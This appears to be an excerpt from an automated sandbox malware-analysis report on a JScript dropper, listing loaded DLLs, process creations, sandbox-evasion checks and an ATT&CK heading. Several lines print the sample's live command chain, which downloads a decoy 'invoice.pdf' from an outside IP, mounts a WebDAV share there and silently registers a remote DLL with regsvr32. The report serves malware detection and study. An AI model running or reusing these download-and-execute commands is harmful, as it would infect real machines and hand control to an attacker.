Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4868.js.csv");ITextStream.WriteLine(" entry:6953 f:sbycneap");ITextStream.WriteLine(" exec:2 f:sbycneap");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4802			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4000			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep count: 4802 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6636	Thread sleep count: 4000 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5132	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5732	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5356	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5824	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7236	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 0000000F.00000002.3669041934.000001FCDFA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.3671894293.000001FCE505A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWJ
Source: net.exe, 0000000D.00000002.2456375316.000001B59BF28000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW07

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16109692517025.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
